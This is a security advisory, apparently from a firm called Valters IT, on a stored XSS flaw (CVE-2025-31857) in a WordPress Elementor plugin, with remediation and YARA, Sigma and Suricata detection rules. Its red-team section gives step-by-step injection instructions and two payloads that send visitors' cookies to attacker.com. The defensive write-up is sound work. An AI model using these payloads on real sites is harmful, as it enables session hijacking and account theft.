CVE-2025-31857

Executive Summary

CVE-2025-31857 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Directorist AddonsKit for Elementor WordPress plugin (slug: addonskit-for-elementor), developed by wpWax. The flaw exists in versions up to and including 1.1.6, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads that persist on the server and execute in the browsers of any visitor viewing the compromised page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

Given the widespread use of Elementor page builder and the Directorist ecosystem, this vulnerability poses a significant risk to WordPress sites running the affected plugin. The CVSS score of 6.5 (Medium) reflects the need for authentication and user interaction, but the stored nature of the XSS amplifies the impact.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; however, since no patch is available, site administrators must manually apply mitigations or remove the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Partial modification of content.
• Availability (A): Low (L) – Minor disruption possible.

Threat Level: Medium. Exploitation requires authentication, but the stored XSS can affect all site visitors, including administrators.

Deep Dive & Mechanics

The vulnerability stems from improper sanitization of input fields within the Directorist AddonsKit for Elementor plugin. The plugin extends Elementor widgets with additional functionality for the Directorist directory system. When a user with contributor-level privileges or higher creates or edits a page using the affected widget, the plugin fails to escape or validate user-supplied data before storing it in the WordPress database. This data is later rendered without proper output encoding, allowing arbitrary HTML and JavaScript to execute.

Root Cause: The plugin uses echo or the_content filter without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()) on user-controlled attributes or content fields.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates a new page/post or edits an existing one using the Directorist AddonsKit widget.
3. Injects a malicious payload (e.g., <script>alert('XSS')</script>) into a text field (e.g., title, description, or custom attribute).
4. Publishes or saves the page.
5. Any visitor (including admins) viewing the page triggers the payload.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.1.6):

// In a widget render method
echo '<div class="addonskit-title">' . $settings['title'] . '</div>';

Patched Code (hypothetical fix):

// Properly escape output
echo '<div class="addonskit-title">' . esc_html( $settings['title'] ) . '</div>';

The vulnerable code directly outputs user-supplied data without escaping. The patched version uses esc_html() to neutralize HTML tags.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Directorist AddonsKit <= 1.1.6 installed and activated.
• Contributor-level account or higher.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Pages > Add New.
3. Add an Elementor section and insert the Directorist AddonsKit widget.
4. In the widget’s title field, enter:

   <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

5. Publish the page.
6. Wait for an administrator to visit the page, or share the link.

Payload Example:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Defensive)

Detection:

• Monitor WordPress logs for unusual page edits by low-privilege users.
• Scan page content for <script> tags or event handlers (e.g., onerror, onload).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Mitigation:

• Disable or remove the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File System: Modified plugin files (e.g., wp-content/plugins/addonskit-for-elementor/) containing injected JavaScript.
• Database: Suspicious entries in wp_posts.post_content or wp_postmeta with <script> tags.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: Unusual page creation or editing events from contributor accounts.

Detection Engineering

YARA Rule

rule CVE_2025_31857_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Directorist AddonsKit plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31857"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Directorist AddonsKit
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d2e1f0a3b7c
status: experimental
description: Detects stored XSS payloads in WordPress pages created with Directorist AddonsKit
author: Valters IT
logsource:
    product: wordpress
    service: application
detection:
    selection:
        EventID: 1000  # Custom event for page creation
        PageContent|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31857 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"/steal.php?c="; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete addonskit-for-elementor until a patch is available.
2. Audit existing content – Scan all pages/posts for injected scripts using the YARA rule above.
3. Restrict user roles – Limit contributor-level access to only trusted users.

Long-term Fix:

• Apply output escaping (e.g., esc_html(), wp_kses_post()) to all user-supplied data in plugin widgets.
• Implement nonce verification and capability checks for all AJAX endpoints.
• Release an updated version (>= 1.1.7) with proper sanitization.

Workaround:

• Use a Web Application Firewall (WAF) with XSS rules (e.g., Cloudflare, Sucuri).
• Add the following to .htaccess to block common XSS patterns:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (<script>|onerror=|onload=) [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers